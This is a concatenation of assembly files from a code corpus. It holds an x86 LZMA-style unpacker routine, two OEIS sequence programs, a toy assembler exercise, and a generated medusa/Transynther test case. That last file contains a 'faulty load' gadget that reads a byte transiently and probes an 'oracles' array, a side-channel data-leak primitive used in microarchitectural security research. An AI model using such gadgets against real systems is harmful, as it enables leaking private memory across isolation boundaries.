mov edi,[ebp+10h] ; <- Function accessing parameter (pvWorkMem)
mov [ebp-14h],eax ; <- Function zeroing local variable
mov [ebp-1Ch],eax ; <- Etc...
mov [ebp-18h],eax
mov [ebp-28h],eax
mov eax,400h
xor edx,edx
mov ecx,30736h
rep stosd
mov eax,[ebp+0Ch]
push 5
mov [ebp-8],eax
mov [ebp-10h],edx
mov [ebp-1],dl
mov [ebp-0Ch],edx
mov [ebp+0Ch],edx
or eax,0FFFFFFFFh
pop ecx
@loc_401041:
mov esi,[ebp-8]
mov edx,[ebp+0Ch]
movzx esi,byte[esi]
shl edx,8
or edx,esi
inc dword[ebp-8]
dec ecx
mov [ebp+0Ch],edx
jnz @loc_401041
@loc_401058:
mov esi,[ebp-10h]
mov ecx,[ebp-0Ch]
mov edx,[ebp+10h]
and esi,3
shl ecx,4
add ecx,esi
cmp eax,1000000h
lea edi,[edx+ecx*4]
jnb @loc_40108A
mov edx,[ebp-8]
mov ecx,[ebp+0Ch]
movzx edx,byte[edx]
shl ecx,8
or ecx,edx
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],ecx
@loc_40108A:
mov ecx,[edi]
mov ebx,eax
shr ebx,0Bh
imul ebx,ecx
cmp [ebp+0Ch],ebx
jnb @loc_401207
mov esi,800h
sub esi,ecx
shr esi,5
add esi,ecx
movzx ecx,byte[ebp-1]
imul ecx,0C00h
xor edx,edx
mov [edi],esi
mov esi,[ebp+10h]
inc edx
cmp dword[ebp-0Ch],7
lea ecx,[ecx+esi+1CD8h]
mov eax,ebx
mov [ebp-20h],ecx
jl @loc_401170
mov ecx,[ebp-10h]
sub ecx,[ebp-14h]
mov esi,[ebp+8]
movzx ecx,byte[ecx+esi]
mov [ebp-24h],ecx
@loc_4010E1:
shl dword[ebp-24h],1
mov esi,[ebp-24h]
mov edi,[ebp-20h]
and esi,100h
cmp eax,1000000h
lea ecx,[esi+edx]
lea ecx,[edi+ecx*4+400h]
mov [ebp-2Ch],ecx
jnb @loc_40111B
mov ebx,[ebp-8]
mov edi,[ebp+0Ch]
movzx ebx,byte[ebx]
shl edi,8
or edi,ebx
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],edi
@loc_40111B:
mov ecx,[ecx]
mov edi,eax
shr edi,0Bh
imul edi,ecx
cmp [ebp+0Ch],edi
jnb @loc_401149
mov eax,edi
mov edi,800h
sub edi,ecx
shr edi,5
add edi,ecx
mov ecx,[ebp-2Ch]
add edx,edx
test esi,esi
mov [ecx],edi
jnz @loc_4011C9
jmp @loc_401162
@loc_401149:
sub [ebp+0Ch],edi
sub eax,edi
mov edi,ecx
shr edi,5
sub ecx,edi
test esi,esi
mov edi,[ebp-2Ch]
mov [edi],ecx
lea edx,[edx+edx+1]
jz @loc_4011C9
@loc_401162:
cmp edx,100h
jl @loc_4010E1
jmp @loc_4011D1
@loc_401170:
cmp eax,1000000h
mov ecx,[ebp-20h]
lea edi,[ecx+edx*4]
jnb @loc_401194
mov esi,[ebp-8]
mov ecx,[ebp+0Ch]
movzx esi,byte[esi]
shl ecx,8
or ecx,esi
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],ecx
@loc_401194:
mov ecx,[edi]
mov esi,eax
shr esi,0Bh
imul esi,ecx
cmp [ebp+0Ch],esi
jnb @loc_4011B7
mov eax,esi
mov esi,800h
sub esi,ecx
shr esi,5
add esi,ecx
mov [edi],esi
add edx,edx
jmp @loc_4011C9
@loc_4011B7:
sub [ebp+0Ch],esi
sub eax,esi
mov esi,ecx
shr esi,5
sub ecx,esi
mov [edi],ecx
lea edx,[edx+edx+1]
@loc_4011C9:
cmp edx,100h
jl @loc_401170
@loc_4011D1:
mov esi,[ebp-10h]
mov ecx,[ebp+8]
inc dword[ebp-10h]
cmp dword[ebp-0Ch],4
mov [ebp-1],dl
mov [esi+ecx],dl
jge @loc_4011EF
and dword[ebp-0Ch],0
jmp @loc_401058
@loc_4011EF:
cmp dword[ebp-0Ch],0Ah
jge @loc_4011FE
sub dword[ebp-0Ch],3
jmp @loc_401058
@loc_4011FE:
sub dword[ebp-0Ch],6
jmp @loc_401058
@loc_401207:
sub [ebp+0Ch],ebx
mov edx,ecx
shr edx,5
sub ecx,edx
mov edx,[ebp-0Ch]
sub eax,ebx
cmp eax,1000000h
mov [edi],ecx
mov ecx,[ebp+10h]
lea edx,[ecx+edx*4+300h]
jnb @loc_401240
mov edi,[ebp-8]
mov ecx,[ebp+0Ch]
movzx edi,byte[edi]
shl ecx,8
or ecx,edi
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],ecx
@loc_401240:
mov ecx,[edx]
mov edi,eax
shr edi,0Bh
imul edi,ecx
cmp [ebp+0Ch],edi
jnb @loc_401292
mov eax,edi
mov edi,800h
sub edi,ecx
shr edi,5
add edi,ecx
cmp dword[ebp-0Ch],7
mov ecx,[ebp-18h]
mov [ebp-28h],ecx
mov ecx,[ebp-1Ch]
mov [ebp-18h],ecx
mov ecx,[ebp-14h]
mov [edx],edi
mov [ebp-1Ch],ecx
jge @loc_40127D
and dword[ebp-0Ch],0
jmp @loc_401284
@loc_40127D:
mov dword[ebp-0Ch],3
@loc_401284:
mov ecx,[ebp+10h]
add ecx,0CC8h
jmp @loc_40147B
@loc_401292:
sub [ebp+0Ch],edi
sub eax,edi
mov edi,ecx
shr edi,5
sub ecx,edi
cmp eax,1000000h
mov [edx],ecx
mov ecx,[ebp-0Ch]
mov edx,[ebp+10h]
lea edi,[edx+ecx*4+330h]
jnb @loc_4012CB
mov edx,[ebp-8]
mov ecx,[ebp+0Ch]
movzx edx,byte[edx]
shl ecx,8
or ecx,edx
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],ecx
@loc_4012CB:
mov ecx,[edi]
mov edx,eax
shr edx,0Bh
imul edx,ecx
cmp [ebp+0Ch],edx
jnb @loc_40137F
mov ebx,800h
sub ebx,ecx
shr ebx,5
add ebx,ecx
mov ecx,[ebp-0Ch]
add ecx,0Fh
shl ecx,4
mov [edi],ebx
mov edi,[ebp+10h]
add ecx,esi
cmp edx,1000000h
mov eax,edx
lea edi,[edi+ecx*4]
jnb @loc_401320
mov ecx,[ebp+0Ch]
shl edx,8
mov eax,edx
mov edx,[ebp-8]
movzx edx,byte[edx]
shl ecx,8
or ecx,edx
inc dword[ebp-8]
mov [ebp+0Ch],ecx
@loc_401320:
mov ecx,[edi]
mov edx,eax
shr edx,0Bh
imul edx,ecx
cmp [ebp+0Ch],edx
jnb @loc_40136C
mov esi,[ebp-10h]
mov eax,edx
mov edx,800h
sub edx,ecx
shr edx,5
add edx,ecx
xor ecx,ecx
cmp dword[ebp-0Ch],7
mov [edi],edx
mov edx,[ebp+8]
setnl cl
lea ecx,[ecx+ecx+9]
mov [ebp-0Ch],ecx
mov ecx,[ebp-10h]
sub ecx,[ebp-14h]
inc dword[ebp-10h]
mov cl,[ecx+edx]
mov [ebp-1],cl
mov [esi+edx],cl
jmp @loc_401058
@loc_40136C:
sub [ebp+0Ch],edx
sub eax,edx
mov edx,ecx
shr edx,5
sub ecx,edx
mov [edi],ecx
jmp @loc_40145F
@loc_40137F:
sub [ebp+0Ch],edx
sub eax,edx
mov edx,ecx
shr edx,5
sub ecx,edx
cmp eax,1000000h
mov edx,[ebp+10h]
mov [edi],ecx
mov ecx,[ebp-0Ch]
lea edx,[edx+ecx*4+360h]
jnb @loc_4013B8
mov edi,[ebp-8]
mov ecx,[ebp+0Ch]
movzx edi,byte[edi]
shl ecx,8
or ecx,edi
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],ecx
@loc_4013B8:
mov ecx,[edx]
mov edi,eax
shr edi,0Bh
imul edi,ecx
cmp [ebp+0Ch],edi
jnb @loc_4013DC
mov eax,edi
mov edi,800h
sub edi,ecx
shr edi,5
add edi,ecx
mov ecx,[ebp-1Ch]
mov [edx],edi
jmp @loc_401456
@loc_4013DC:
sub [ebp+0Ch],edi
sub eax,edi
mov edi,ecx
shr edi,5
sub ecx,edi
cmp eax,1000000h
mov [edx],ecx
mov ecx,[ebp-0Ch]
mov edx,[ebp+10h]
lea edx,[edx+ecx*4+390h]
jnb @loc_401415
mov edi,[ebp-8]
mov ecx,[ebp+0Ch]
movzx edi,byte[edi]
shl ecx,8
or ecx,edi
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],ecx
@loc_401415:
mov ecx,[edx]
mov edi,eax
shr edi,0Bh
imul edi,ecx
cmp [ebp+0Ch],edi
jnb @loc_401439
mov eax,edi
mov edi,800h
sub edi,ecx
shr edi,5
add edi,ecx
mov ecx,[ebp-18h]
mov [edx],edi
jmp @loc_401450
@loc_401439:
sub [ebp+0Ch],edi
sub eax,edi
mov edi,ecx
shr edi,5
sub ecx,edi
mov [edx],ecx
mov edx,[ebp-18h]
mov ecx,[ebp-28h]
mov [ebp-28h],edx
@loc_401450:
mov edx,[ebp-1Ch]
mov [ebp-18h],edx
@loc_401456:
mov edx,[ebp-14h]
mov [ebp-1Ch],edx
mov [ebp-14h],ecx
@loc_40145F:
xor ecx,ecx
cmp dword[ebp-0Ch],7
setnl cl
dec ecx
and ecx,0FFFFFFFDh
add ecx,0Bh
mov [ebp-0Ch],ecx
mov ecx,[ebp+10h]
add ecx,14D0h
@loc_40147B:
cmp eax,1000000h
jnb @loc_401499
mov edi,[ebp-8]
mov edx,[ebp+0Ch]
movzx edi,byte[edi]
shl edx,8
or edx,edi
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],edx
@loc_401499:
mov edx,[ecx]
mov edi,eax
shr edi,0Bh
imul edi,edx
cmp [ebp+0Ch],edi
jnb @loc_4014C5
mov eax,edi
mov edi,800h
sub edi,edx
shr edi,5
add edi,edx
shl esi,5
and dword[ebp-24h],0
mov [ecx],edi
lea ecx,[esi+ecx+8]
jmp @loc_401523
@loc_4014C5:
sub [ebp+0Ch],edi
sub eax,edi
mov edi,edx
shr edi,5
sub edx,edi
cmp eax,1000000h
mov [ecx],edx
jnb @loc_4014F1
mov edi,[ebp-8]
mov edx,[ebp+0Ch]
movzx edi,byte[edi]
shl edx,8
or edx,edi
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],edx
@loc_4014F1:
mov edx,[ecx+4]
mov edi,eax
shr edi,0Bh
imul edi,edx
cmp [ebp+0Ch],edi
jnb @loc_40152C
mov eax,edi
mov edi,800h
sub edi,edx
shr edi,5
add edi,edx
shl esi,5
mov [ecx+4],edi
lea ecx,[esi+ecx+208h]
mov dword[ebp-24h],8
@loc_401523:
mov dword[ebp-20h],3
jmp @loc_40154F
@loc_40152C:
sub [ebp+0Ch],edi
mov esi,edx
shr esi,5
sub edx,esi
sub eax,edi
mov [ecx+4],edx
add ecx,408h
mov dword[ebp-24h],10h
mov dword[ebp-20h],8
@loc_40154F:
mov edx,[ebp-20h]
xor ebx,ebx
mov [ebp-2Ch],edx
inc ebx
@loc_401558:
cmp eax,1000000h
jnb @loc_401576
mov esi,[ebp-8]
mov edx,[ebp+0Ch]
movzx esi,byte[esi]
shl edx,8
or edx,esi
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],edx
@loc_401576:
mov edx,[ecx+ebx*4]
mov esi,eax
shr esi,0Bh
imul esi,edx
cmp [ebp+0Ch],esi
jnb @loc_40159B
mov eax,esi
mov esi,800h
sub esi,edx
shr esi,5
add esi,edx
mov [ecx+ebx*4],esi
add ebx,ebx
jmp @loc_4015AE
@loc_40159B:
sub [ebp+0Ch],esi
sub eax,esi
mov esi,edx
shr esi,5
sub edx,esi
mov [ecx+ebx*4],edx
lea ebx,[ebx+ebx+1]
@loc_4015AE:
dec dword[ebp-2Ch]
jnz @loc_401558
mov ecx,[ebp-20h]
xor edx,edx
inc edx
mov esi,edx
shl esi,cl
mov ecx,[ebp-24h]
sub ecx,esi
add ebx,ecx
cmp dword[ebp-0Ch],4
mov [ebp-30h],ebx
jge @loc_401765
add dword[ebp-0Ch],7
cmp ebx,4
jge @loc_4015DE
mov ecx,ebx
jmp @loc_4015E1
@loc_4015DE:
push 3
pop ecx
@loc_4015E1:
mov esi,[ebp+10h]
shl ecx,8
lea edi,[ecx+esi+6C0h]
mov dword[ebp-2Ch],6
@loc_4015F5:
cmp eax,1000000h
jnb @loc_401613
mov esi,[ebp-8]
mov ecx,[ebp+0Ch]
movzx esi,byte[esi]
shl ecx,8
or ecx,esi
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],ecx
@loc_401613:
mov ecx,[edi+edx*4]
mov esi,eax
shr esi,0Bh
imul esi,ecx
cmp [ebp+0Ch],esi
jnb @loc_401638
mov eax,esi
mov esi,800h
sub esi,ecx
shr esi,5
add esi,ecx
mov [edi+edx*4],esi
add edx,edx
jmp @loc_40164B
@loc_401638:
sub [ebp+0Ch],esi
sub eax,esi
mov esi,ecx
shr esi,5
sub ecx,esi
mov [edi+edx*4],ecx
lea edx,[edx+edx+1]
@loc_40164B:
dec dword[ebp-2Ch]
jnz @loc_4015F5
sub edx,40h
cmp edx,4
mov edi,edx
jl @loc_401736
mov ecx,edx
sar ecx,1
and edi,1
dec ecx
or edi,2
cmp edx,0Eh
mov [ebp-14h],ecx
jge @loc_401683
shl edi,cl
mov ecx,edi
sub ecx,edx
mov edx,[ebp+10h]
lea ebx,[edx+ecx*4+0ABCh]
jmp @loc_4016C9
@loc_401683:
sub ecx,4
@loc_401686:
cmp eax,1000000h
jnb @loc_4016A4
mov esi,[ebp-8]
mov edx,[ebp+0Ch]
movzx esi,byte[esi]
shl edx,8
or edx,esi
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],edx
@loc_4016A4:
shr eax,1
add edi,edi
cmp [ebp+0Ch],eax
jb @loc_4016B3
sub [ebp+0Ch],eax
or edi,1
@loc_4016B3:
dec ecx
jnz @loc_401686
mov ebx,[ebp+10h]
add ebx,0C88h
shl edi,4
mov dword[ebp-14h],4
@loc_4016C9:
xor ecx,ecx
inc ecx
mov [ebp-20h],ebx
mov [ebp-24h],ecx
@loc_4016D2:
cmp eax,1000000h
jnb @loc_4016F0
mov esi,[ebp-8]
mov edx,[ebp+0Ch]
movzx esi,byte[esi]
shl edx,8
or edx,esi
shl eax,8
inc dword[ebp-8]
mov [ebp+0Ch],edx
@loc_4016F0:
mov edx,[ebx+ecx*4]
mov esi,eax
shr esi,0Bh
imul esi,edx
cmp [ebp+0Ch],esi
jnb @loc_401715
mov eax,esi
mov esi,800h
sub esi,edx
shr esi,5
add esi,edx
mov [ebx+ecx*4],esi
add ecx,ecx
jmp @loc_40172E
@loc_401715:
sub [ebp+0Ch],esi
mov ebx,[ebp-20h]
sub eax,esi
mov esi,edx
shr esi,5
sub edx,esi
or edi,[ebp-24h]
mov [ebx+ecx*4],edx
lea ecx,[ecx+ecx+1]
@loc_40172E:
shl dword[ebp-24h],1
dec dword[ebp-14h]
jnz @loc_4016D2
@loc_401736:
inc edi
mov [ebp-14h],edi
jz @loc_40176A
mov ebx,[ebp-30h]
@loc_40173F:
mov ecx,[ebp-10h]
inc ebx
sub ecx,edi
inc ebx
add ecx,[ebp+8]
@loc_401749:
mov dl,[ecx]
mov esi,[ebp-10h]
mov edi,[ebp+8]
dec ebx
inc dword[ebp-10h]
inc ecx
test ebx,ebx
mov [ebp-1],dl
mov [esi+edi],dl
jnz @loc_401749
jmp @loc_401058
@loc_401765:
mov edi,[ebp-14h]
jmp @loc_40173F
@loc_40176A:
popad
mov eax,[ebp-10h]
leave
retn 0Ch
unpacker_end:
retn
|
||||
TheStack | 149e9068710452b0db4fcd7a1c850d78a1789736 | Assemblycode:Assembly | {"size": 1505, "ext": "asm", "max_stars_repo_path": "programs/oeis/020/A020878.asm", "max_stars_repo_name": "neoneye/loda", "max_stars_repo_stars_event_min_datetime": "2018-02-06T19:19:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-17T21:53:31.000Z", "max_issues_repo_path": "programs/oeis/020/A020878.asm", "max_issues_repo_name": "neoneye/loda", "max_issues_repo_issues_event_min_datetime": "2021-02-22T19:00:34.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-28T10:47:47.000Z", "max_forks_repo_path": "programs/oeis/020/A020878.asm", "max_forks_repo_name": "neoneye/loda", "max_forks_repo_forks_event_min_datetime": "2021-02-24T21:14:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-09T19:48:05.000Z"} | {"max_stars_count": 22, "max_issues_count": 41, "max_forks_count": 5, "avg_line_length": 68.4090909091, "max_line_length": 1187, "alphanum_fraction": 0.8332225914} | ; A020878: Number of maximum matchings in the n-Moebius ladder M_n.
; 2,3,3,6,7,13,18,31,47,78,123,201,322,523,843,1366,2207,3573,5778,9351,15127,24478,39603,64081,103682,167763,271443,439206,710647,1149853,1860498,3010351,4870847,7881198,12752043,20633241,33385282,54018523,87403803,141422326,228826127,370248453,599074578,969323031,1568397607,2537720638,4106118243,6643838881,10749957122,17393796003,28143753123,45537549126,73681302247,119218851373,192900153618,312119004991,505019158607,817138163598,1322157322203,2139295485801,3461452808002,5600748293803,9062201101803,14662949395606,23725150497407,38388099893013,62113250390418,100501350283431,162614600673847,263115950957278,425730551631123,688846502588401,1114577054219522,1803423556807923,2918000611027443,4721424167835366,7639424778862807,12360848946698173,20000273725560978,32361122672259151,52361396397820127,84722519070079278,137083915467899403,221806434537978681,358890350005878082,580696784543856763,939587134549734843,1520283919093591606,2459871053643326447,3980154972736918053,6440026026380244498,10420180999117162551,16860207025497407047,27280388024614569598,44140595050111976643,71420983074726546241,115561578124838522882,186982561199565069123,302544139324403592003,489526700523968661126
mov $3,2
mov $5,$0
lpb $3
mov $0,$5
sub $3,1
add $0,$3
max $0,0
seq $0,301653 ; Expansion of x*(1 + 2*x)/((1 - x)*(1 + x)*(1 - x - x^2)).
mov $2,$3
mul $2,$0
add $1,$2
mov $4,$0
lpe
min $5,1
mul $5,$4
sub $1,$5
add $1,1
mov $0,$1
|
||||
TheStack | 38d7206759f58dccba02dc499301555fb43ae417 | Assemblycode:Assembly | {"size": 748, "ext": "asm", "max_stars_repo_path": "programs/oeis/125/A125168.asm", "max_stars_repo_name": "karttu/loda", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "programs/oeis/125/A125168.asm", "max_issues_repo_name": "karttu/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/125/A125168.asm", "max_forks_repo_name": "karttu/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 62.3333333333, "max_line_length": 506, "alphanum_fraction": 0.5441176471} | ; A125168: a(n) = gcd(n, A032741(n)) where A032741(n) is the number of proper divisors of n.
; 1,1,1,2,1,3,1,1,1,1,1,1,1,1,3,4,1,1,1,5,3,1,1,1,1,1,3,1,1,1,1,1,3,1,1,4,1,1,3,1,1,7,1,1,5,1,1,3,1,5,3,1,1,1,1,7,3,1,1,1,1,1,1,2,1,1,1,1,3,7,1,1,1,1,5,1,1,1,1,1,1,1,1,1,1,1,3,1,1,1,1,1,3,1,1,1,1,1,1,4,1,1,1,1,7,1,1,1,1,1,3,1,1,1,1,1,1,1,1,15,1,1,3,1,1,1,1,1,3,1,1,11,1,1,1,1,1,1,1,1,3,1,1,2,1,1,1,1,1,1,1,1,1,7,1,1,1,1,3,1,1,9,1,1,1,1,1,3,1,1,1,1,1,1,5,1,3,1,1,1,1,7,3,1,1,1,1,1,7,1,1,1,1,1,1,4,1,11,1,1,3,1,1,1,1,1,1,1,1,15,1,1,3,1,1,3,1,1,3,11,1,1,1,1,1,1,1,1,1,1,7,1,1,1,1,1,3,7,1,1,1,1,1,1,5,1,1,1,3,1
mov $2,1
add $2,$0
cal $0,5 ; d(n) (also called tau(n) or sigma_0(n)), the number of divisors of n.
sub $0,1
gcd $0,$2
add $0,7
mov $1,$0
sub $1,7
|
||||
TheStack | c299a6553b9bfc7191f55389d62fc1f7ea7cc242 | Assemblycode:Assembly | {"size": 212, "ext": "asm", "max_stars_repo_path": "SP/1.asm", "max_stars_repo_name": "sujitdhond142/Practicals", "max_stars_repo_stars_event_min_datetime": "2017-09-16T03:48:02.000Z", "max_stars_repo_stars_event_max_datetime": "2017-09-16T03:48:02.000Z", "max_issues_repo_path": "SP/1.asm", "max_issues_repo_name": "sujitdhond142/Practicals", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "SP/1.asm", "max_forks_repo_name": "sujitdhond142/Practicals", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 14.1333333333, "max_line_length": 15, "alphanum_fraction": 0.5471698113} | PRGM STRT ** **
** USNG ** =15
** LOAD AX =10
THRE DCbb 3 **
FOUR DCbb 4 **
** LOAD BX FOUR
LOOP ADDb AX BX
** JNCb LOOP **
** LOAD CX =9
LOOP SUBb CX BX
** JNZb LOOP **
** MOVb DX =7
** ADDb BX DX
** ENDb ** **
|
||||
TheStack | 1f60d364d91f6a534fc1ab2df396e342068e40f7 | Assemblycode:Assembly | {"size": 7217, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_67.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_67.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_67.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 33.882629108, "max_line_length": 2999, "alphanum_fraction": 0.6610780103} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0xf57b, %rax
nop
nop
nop
nop
sub %r9, %r9
mov $0x6162636465666768, %r13
movq %r13, (%rax)
nop
nop
nop
nop
dec %r11
lea addresses_D_ht+0xbabb, %rsi
lea addresses_WC_ht+0x39fb, %rdi
nop
nop
nop
nop
nop
sub $28506, %r10
mov $5, %rcx
rep movsw
nop
nop
nop
nop
and $20865, %rdi
lea addresses_A_ht+0x1d45b, %rdi
clflush (%rdi)
nop
nop
add %rcx, %rcx
mov $0x6162636465666768, %r13
movq %r13, %xmm3
vmovups %ymm3, (%rdi)
nop
cmp %rdi, %rdi
lea addresses_normal_ht+0x16ebb, %rax
clflush (%rax)
add $27523, %r9
movups (%rax), %xmm4
vpextrq $1, %xmm4, %rdi
nop
nop
nop
nop
inc %rdi
lea addresses_WT_ht+0x92bb, %rsi
lea addresses_normal_ht+0x1b3bb, %rdi
clflush (%rsi)
nop
add %rax, %rax
mov $97, %rcx
rep movsl
nop
nop
xor $64632, %rax
lea addresses_UC_ht+0x1a3a5, %rsi
lea addresses_WC_ht+0x6dcb, %rdi
nop
nop
inc %rax
mov $55, %rcx
rep movsb
nop
nop
nop
nop
sub $16114, %r13
lea addresses_normal_ht+0x1b5e3, %rcx
clflush (%rcx)
nop
add %r13, %r13
movl $0x61626364, (%rcx)
nop
add $47979, %r13
lea addresses_WT_ht+0x70bb, %rsi
lea addresses_D_ht+0x1277b, %rdi
nop
dec %r9
mov $80, %rcx
rep movsw
nop
nop
nop
cmp %r11, %r11
lea addresses_WC_ht+0x1eebb, %rsi
lea addresses_WT_ht+0x44bb, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub %r13, %r13
mov $1, %rcx
rep movsq
nop
add $26588, %rcx
lea addresses_D_ht+0xd724, %rsi
lea addresses_A_ht+0x15caf, %rdi
nop
inc %r13
mov $71, %rcx
rep movsq
nop
nop
nop
nop
nop
and $42179, %rax
lea addresses_A_ht+0xecbb, %rsi
nop
nop
nop
xor $35193, %r13
mov (%rsi), %rdi
nop
nop
nop
nop
nop
xor %rdi, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r9
push %rax
push %rbp
push %rdi
push %rdx
// Store
lea addresses_PSE+0x9dbb, %rdi
clflush (%rdi)
nop
nop
nop
nop
inc %rbp
mov $0x5152535455565758, %r11
movq %r11, (%rdi)
nop
nop
nop
cmp %rax, %rax
// Faulty Load
lea addresses_WC+0x78bb, %r9
nop
nop
nop
nop
nop
cmp $39610, %rdx
movb (%r9), %al
lea oracles, %r15
and $0xff, %rax
shlq $12, %rax
mov (%r15,%rax,1), %rax
pop %rdx
pop %rdi
pop %rbp
pop %rax
pop %r9
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': False, 'AVXalign': True, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 8}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 1}, 'dst': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 9}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 0}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 